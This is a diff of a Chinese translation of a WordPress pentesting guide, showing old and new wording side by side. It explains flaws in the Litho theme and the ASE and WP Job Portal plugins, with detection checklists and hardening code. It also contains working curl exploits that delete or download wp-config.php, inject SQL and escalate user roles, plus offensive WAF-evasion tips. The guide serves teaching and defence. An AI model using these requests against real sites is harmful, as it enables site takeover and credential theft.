- 切勿从客户端可控的头导出认证或授权。
|
||||
- 如果反向代理必须注入身份信息,应在代理处终止信任并剥离入站副本(例如在边缘处 `unset X-Wcpay-Platform-Checkout-User`),然后传递签名令牌并在服务器端验证它。
|
||||
- 对于执行特权操作的 REST 路由,要求使用 `current_user_can()` 检查和严格的 `permission_callback`(不要使用 `__return_true`)。
|
||||
- 优先使用第一方认证(cookies、application passwords、OAuth),而不是通过头进行“冒充”。
|
||||
|
||||
References: see the links at the end of this page for a public case and broader analysis.
|
||||
|
||||
### 通过 wp_ajax_nopriv 的未认证任意文件删除 (Litho Theme <= 3.0)
|
||||
|
||||
WordPress 主题和插件经常通过 `wp_ajax_` 和 `wp_ajax_nopriv_` 钩子暴露 AJAX 处理器。 当使用 **_nopriv_** 变体时 **回调将对未认证访客可达**,因此任何敏感操作必须额外实现:
|
||||
|
||||
1. 一个 **权限(capability)检查**(例如 `current_user_can()` 或至少 `is_user_logged_in()`),以及
|
||||
2. 一个使用 `check_ajax_referer()` / `wp_verify_nonce()` 验证的 **CSRF nonce**,以及
|
||||
3. **严格的输入消毒 / 验证**。
|
||||
|
||||
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
|
||||
```php
|
||||
function litho_remove_font_family_action_data() {
|
||||
if ( empty( $_POST['fontfamily'] ) ) {
|
||||
@ -396,28 +443,28 @@ die();
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
```
|
||||
此代码片段引入的问题:
|
||||
此片段引入的问题:
|
||||
|
||||
* **未认证访问** – 注册了 `wp_ajax_nopriv_` 钩子。
|
||||
* **没有 nonce / 权限检查** – 任何访客都可以访问该端点。
|
||||
* **没有路径清理** – 用户控制的 `fontfamily` 字符串在没有过滤的情况下连接到文件系统路径,允许经典的 `../../` 遍历。
|
||||
* **Unauthenticated access** – 已注册 `wp_ajax_nopriv_` hook。
|
||||
* **No nonce / capability check** – 任何访客都可以访问该 endpoint。
|
||||
* **No path sanitisation** – 用户控制的 `fontfamily` 字符串在未过滤的情况下被拼接到文件系统路径,允许经典的 `../../` 遍历。
|
||||
|
||||
#### 利用
|
||||
|
||||
攻击者可以通过发送一个 HTTP POST 请求删除任何 **在上传基础目录以下的** 文件或目录(通常是 `<wp-root>/wp-content/uploads/`):
|
||||
攻击者可以通过发送单个 HTTP POST 请求删除位于 **uploads 基目录 以下** 的任何文件或目录(通常为 `<wp-root>/wp-content/uploads/`):
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
-d 'fontfamily=../../../../wp-config.php'
|
||||
```
|
||||
因为 `wp-config.php` 位于 *uploads* 之外,默认安装只需四个 `../` 序列。 删除 `wp-config.php` 会强制 WordPress 在下次访问时进入 *安装向导*,从而实现完全控制网站(攻击者只需提供新的数据库配置并创建一个管理员用户)。
|
||||
因为 `wp-config.php` 位于 *uploads* 之外,在默认安装中,四个 `../` 序列就足够了。删除 `wp-config.php` 会在下次访问时强制 WordPress 进入 *installation wizard*,从而实现完整站点接管(攻击者只需提供新的 DB 配置并创建一个管理员用户)。
|
||||
|
||||
其他影响较大的目标包括插件/主题的 `.php` 文件(以破坏安全插件)或 `.htaccess` 规则。
|
||||
其他有影响的目标包括 plugin/theme `.php` 文件(用于破坏安全插件)或 `.htaccess` 规则。
|
||||
|
||||
#### 检测清单
|
||||
|
||||
* 任何 `add_action( 'wp_ajax_nopriv_...')` 回调调用文件系统助手(`copy()`、`unlink()`、`$wp_filesystem->delete()` 等)。
|
||||
* 将未经过滤的用户输入连接到路径中(查找 `$_POST`、`$_GET`、`$_REQUEST`)。
|
||||
* 任何 `add_action( 'wp_ajax_nopriv_...')` 回调,如果调用文件系统辅助函数(`copy()`, `unlink()`, `$wp_filesystem->delete()`, 等)。
|
||||
* 将未经过消毒的用户输入拼接到路径中(查找 `$_POST`, `$_GET`, `$_REQUEST`)。
|
||||
* 缺少 `check_ajax_referer()` 和 `current_user_can()`/`is_user_logged_in()`。
|
||||
|
||||
#### 加固
|
||||
@ -440,16 +487,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
|
||||
// 🔒 NO wp_ajax_nopriv_ registration
|
||||
```
|
||||
> [!TIP]
|
||||
> **始终**将任何磁盘上的写入/删除操作视为特权操作,并进行双重检查:
|
||||
> • 身份验证 • 授权 • 随机数 • 输入清理 • 路径限制(例如通过 `realpath()` 加上 `str_starts_with()`)。
|
||||
> **始终** 将任何对磁盘的写入/删除操作视为需要特权的操作并进行二次检查:
|
||||
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
|
||||
|
||||
---
|
||||
|
||||
### 通过过时角色恢复和缺失授权进行特权提升(ASE "以角色查看管理员")
|
||||
### Privilege escalation 通过过时的角色恢复和缺少授权 (ASE "View Admin as Role")
|
||||
|
||||
许多插件通过将原始角色保存在用户元数据中来实现“以角色查看”或临时角色切换功能,以便稍后恢复。如果恢复路径仅依赖于请求参数(例如 `$_REQUEST['reset-for']`)和插件维护的列表,而没有检查能力和有效的随机数,这将导致垂直特权提升。
|
||||
许多插件通过将原始角色保存在 user meta 中以便稍后恢复,来实现 "view as role" 或临时角色切换功能。如果恢复路径仅依赖请求参数(例如 `$_REQUEST['reset-for']`)和插件维护的列表,而没有检查权限和有效的 nonce,这就会成为一次垂直的权限提升。
|
||||
|
||||
在 Admin and Site Enhancements (ASE) 插件(≤ 7.6.2.1)中发现了一个真实的例子。重置分支基于 `reset-for=<username>` 恢复角色,如果用户名出现在内部数组 `$options['viewing_admin_as_role_are']` 中,但在移除当前角色和重新添加用户元数据 `_asenha_view_admin_as_original_roles` 中保存的角色之前,既没有执行 `current_user_can()` 检查,也没有进行随机数验证:
|
||||
在 Admin and Site Enhancements (ASE) 插件(≤ 7.6.2.1)中发现了一个真实案例。reset 分支会基于 `reset-for=<username>` 恢复角色,如果该用户名出现在内部数组 `$options['viewing_admin_as_role_are']` 中,但在移除当前角色并从 user meta `_asenha_view_admin_as_original_roles` 重新添加保存的角色之前,既没有进行 `current_user_can()` 检查,也没有进行 nonce 验证:
|
||||
```php
|
||||
// Simplified vulnerable pattern
|
||||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||||
@ -464,17 +511,17 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
}
|
||||
}
|
||||
```
|
||||
为什么它是可利用的
|
||||
为什么可被利用
|
||||
|
||||
- 信任 `$_REQUEST['reset-for']` 和没有服务器端授权的插件选项。
|
||||
- 如果用户之前在 `_asenha_view_admin_as_original_roles` 中保存了更高的权限并被降级,他们可以通过访问重置路径来恢复这些权限。
|
||||
- 在某些部署中,任何经过身份验证的用户都可以为仍然存在于 `viewing_admin_as_role_are` 中的另一个用户名触发重置(授权破坏)。
|
||||
- 信任 `$_REQUEST['reset-for']` 和一个插件选项而没有进行服务器端授权。
|
||||
- 如果用户先前在 `_asenha_view_admin_as_original_roles` 中保存了更高的权限并被降级,他们可以通过访问重置路径恢复这些权限。
|
||||
- 在某些部署中,任何已认证的用户都可以为仍存在于 `viewing_admin_as_role_are` 的另一个用户名触发重置(授权机制损坏)。
|
||||
|
||||
攻击前提
|
||||
攻击先决条件
|
||||
|
||||
- 启用该功能的易受攻击插件版本。
|
||||
- 目标账户在用户元数据中存储了过时的高权限角色。
|
||||
- 任何经过身份验证的会话;重置流程中缺少 nonce/能力。
|
||||
- 启用了该功能的易受攻击的插件版本。
|
||||
- 目标账号在 user meta 中保留了先前使用遗留的高权限角色。
|
||||
- 任何已认证的会话;重置流程缺少 nonce/capability。
|
||||
|
||||
利用(示例)
|
||||
```bash
|
||||
@ -484,42 +531,57 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
curl -s -k -b 'wordpress_logged_in=...' \
|
||||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||||
```
|
||||
在易受攻击的构建中,这会移除当前角色并重新添加保存的原始角色(例如,`administrator`),有效地提升权限。
|
||||
在易受攻击的构建中,这会移除当前角色并重新添加已保存的“原始角色”(例如 `administrator`),从而有效地提升权限。
|
||||
|
||||
检测清单
|
||||
Detection checklist
|
||||
|
||||
- 查找在用户元数据中持久化“原始角色”的角色切换功能(例如,`_asenha_view_admin_as_original_roles`)。
|
||||
- 确定重置/恢复路径:
|
||||
- 从 `$_REQUEST` / `$_GET` / `$_POST` 读取用户名。
|
||||
- 通过 `add_role()` / `remove_role()` 修改角色,而不使用 `current_user_can()` 和 `wp_verify_nonce()` / `check_admin_referer()`。
|
||||
- 基于插件选项数组(例如,`viewing_admin_as_role_are`)进行授权,而不是基于行为者的能力。
|
||||
- 查找将“原始角色”保存在 user meta 中的角色切换功能(例如 `_asenha_view_admin_as_original_roles`)。
|
||||
- 识别重置/恢复路径,这些路径:
|
||||
- 从 `$_REQUEST` / `$_GET` / `$_POST` 读取用户名。
|
||||
- 通过 `add_role()` / `remove_role()` 修改角色但未使用 `current_user_can()` 和 `wp_verify_nonce()` / `check_admin_referer()`。
|
||||
- 基于插件选项数组(例如 `viewing_admin_as_role_are`)进行授权,而不是基于执行者的权限(capabilities)。
|
||||
|
||||
加固
|
||||
Hardening
|
||||
|
||||
- 在每个状态改变的分支上强制执行能力检查(例如,`current_user_can('manage_options')` 或更严格)。
|
||||
- 对所有角色/权限变更要求使用 nonce 并进行验证:`check_admin_referer()` / `wp_verify_nonce()`。
|
||||
- 永远不要信任请求提供的用户名;根据经过身份验证的行为者和明确的策略在服务器端解析目标用户。
|
||||
- 在个人资料/角色更新时使“原始角色”状态失效,以避免过时的高权限恢复:
|
||||
- 在每个会改变状态的分支上强制进行权限检查(例如 `current_user_can('manage_options')` 或更严格的检查)。
|
||||
- 对所有角色/权限变更要求使用 nonces 并进行验证:`check_admin_referer()` / `wp_verify_nonce()`。
|
||||
- 绝不信任请求中提供的用户名;应基于已认证的执行者和明确的策略在服务器端解析目标用户。
|
||||
- 在配置文件/角色更新时使“原始角色”状态失效,以避免陈旧的高权限被恢复:
|
||||
```php
|
||||
add_action( 'profile_update', function( $user_id ) {
|
||||
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||||
}, 10, 1 );
|
||||
```
|
||||
- 考虑存储最小状态并使用时间限制、能力保护的令牌进行临时角色切换。
|
||||
- 考虑存储最少状态,并在临时角色切换时使用 time-limited、capability-guarded tokens。
|
||||
|
||||
---
|
||||
|
||||
### WAF 在 WordPress/plugin CVEs 上的考虑
|
||||
|
||||
通用的 edge/server WAFs 通常针对广泛的模式进行调优(SQLi、XSS、LFI)。许多高危的 WordPress/plugin 漏洞是特定于应用的逻辑/认证缺陷,除非引擎理解 WordPress 路由和 plugin 语义,否则这些请求看起来像正常流量。
|
||||
|
||||
Offensive notes
|
||||
|
||||
- 针对 plugin 特定的端点使用干净的 payloads:`admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- 先尝试未认证路径(AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes)。默认的 payloads 通常在不进行混淆的情况下就能成功。
|
||||
- 常见的高危情形:privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
|
||||
|
||||
Defensive notes
|
||||
|
||||
- 不要仅依赖通用的 WAF 签名来保护 plugin CVEs。应实现 application-layer、vulnerability-specific 的虚拟补丁或尽快更新。
|
||||
- 在代码中优先使用正向安全检查(capabilities, nonces, 严格的输入验证),而不是基于负向的 regex 过滤。
|
||||
|
||||
## WordPress 保护
|
||||
|
||||
### 定期更新
|
||||
|
||||
确保 WordPress、插件和主题是最新的。还要确认在 wp-config.php 中启用了自动更新:
|
||||
确保 WordPress、plugins 和 themes 都是最新的。还要确认在 wp-config.php 中启用了自动更新:
|
||||
```bash
|
||||
define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
add_filter( 'auto_update_theme', '__return_true' );
|
||||
```
|
||||
也要**只安装可信的 WordPress 插件和主题**。
|
||||
另外,**只安装可信赖的 WordPress 插件和主题**。
|
||||
|
||||
### 安全插件
|
||||
|
||||
@ -529,15 +591,16 @@ add_filter( 'auto_update_theme', '__return_true' );
|
||||
|
||||
### **其他建议**
|
||||
|
||||
- 删除默认的 **admin** 用户
|
||||
- 删除默认 **admin** 用户
|
||||
- 使用 **强密码** 和 **2FA**
|
||||
- 定期 **审查** 用户 **权限**
|
||||
- **限制登录尝试** 以防止暴力攻击
|
||||
- 重命名 **`wp-admin.php`** 文件,并仅允许内部或特定 IP 地址访问。
|
||||
- **限制登录尝试** 以防止 Brute Force 攻击
|
||||
- 重命名 **`wp-admin.php`** 文件,并仅允许从内部或某些 IP 地址访问。
|
||||
|
||||
### 通过验证不足的未认证 SQL 注入 (WP Job Portal <= 2.3.2)
|
||||
|
||||
WP Job Portal 招聘插件暴露了一个 **savecategory** 任务,最终在 `modules/category/model.php::validateFormData()` 中执行以下易受攻击的代码:
|
||||
### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
|
||||
|
||||
WP Job Portal 招聘插件暴露了一个 **savecategory** 任务,该任务最终在 `modules/category/model.php::validateFormData()` 内执行以下易受攻击的代码:
|
||||
```php
|
||||
$category = WPJOBPORTALrequest::getVar('parentid');
|
||||
$inquery = ' ';
|
||||
@ -547,19 +610,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
|
||||
$query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
|
||||
```
|
||||
引入此代码片段的问题:
|
||||
Issues introduced by this snippet:
|
||||
|
||||
1. **未清理的用户输入** – `parentid` 直接来自 HTTP 请求。
|
||||
2. **WHERE 子句中的字符串连接** – 没有 `is_numeric()` / `esc_sql()` / 预处理语句。
|
||||
3. **未认证的可达性** – 尽管该操作是通过 `admin-post.php` 执行的,但唯一的检查是 **CSRF nonce** (`wp_verify_nonce()`),任何访问者都可以从嵌入短代码 `[wpjobportal_my_resumes]` 的公共页面中获取。
|
||||
1. **Unsanitised user input** – `parentid` comes straight from the HTTP request.
|
||||
2. **String concatenation inside the WHERE clause** – no `is_numeric()` / `esc_sql()` / prepared statement.
|
||||
3. **Unauthenticated reachability** – although the action is executed through `admin-post.php`, the only check in place is a **CSRF nonce** (`wp_verify_nonce()`), which any visitor can retrieve from a public page embedding the shortcode `[wpjobportal_my_resumes]`.
|
||||
|
||||
#### 利用
|
||||
|
||||
1. 获取一个新的 nonce:
|
||||
1. 获取一个新的 nonce:
|
||||
```bash
|
||||
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
|
||||
```
|
||||
2. 通过滥用 `parentid` 注入任意 SQL:
|
||||
2. 通过滥用 `parentid` 注入任意 SQL:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'task=savecategory' \
|
||||
@ -567,19 +630,20 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'parentid=0 OR 1=1-- -' \
|
||||
-d 'cat_title=pwn' -d 'id='
|
||||
```
|
||||
响应披露了注入查询的结果或更改了数据库,证明了 SQLi。
|
||||
The response discloses the result of the injected query or alters the database, proving SQLi.
|
||||
|
||||
|
||||
### 未认证的任意文件下载 / 路径遍历 (WP Job Portal <= 2.3.2)
|
||||
|
||||
另一个任务,**downloadcustomfile**,允许访问者通过路径遍历下载 **磁盘上的任何文件**。 受影响的代码位于 `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
另一个任务,**downloadcustomfile**,允许访问者通过路径遍历下载磁盘上的 **任意文件**。易受攻击的函数位于 `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name` 是攻击者控制的,并且**未经过清理**地连接。再次强调,唯一的门槛是可以从简历页面获取的**CSRF 随机数**。
|
||||
`$file_name` 由攻击者控制并被拼接 **未进行清理**。再次说明,唯一的关卡是一个 **CSRF nonce**,可以从简历页面获取。
|
||||
|
||||
#### 利用
|
||||
#### Exploitation
|
||||
```bash
|
||||
curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'task=downloadcustomfile' \
|
||||
@ -588,13 +652,16 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'entity_id=1' \
|
||||
--data-urlencode 'file_name=../../../wp-config.php'
|
||||
```
|
||||
服务器响应 `wp-config.php` 的内容,泄露了数据库凭据和认证密钥。
|
||||
服务器响应 `wp-config.php` 的内容,leaking DB credentials and auth keys。
|
||||
|
||||
## 参考文献
|
||||
## 参考资料
|
||||
|
||||
- [Litho主题中的未认证任意文件删除漏洞](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
- [WP Job Portal插件中修复的多个关键漏洞](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
||||
- [影响超过10万个站点的ASE插件中的特权升级罕见案例](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
|
||||
- [ASE 7.6.3更改集 – 在个人资料更新时删除原始角色](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
|
||||
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
||||
- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
|
||||
- [ASE 7.6.3 changeset – delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
|
||||
- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
|
||||
- [WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability)
|
||||
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user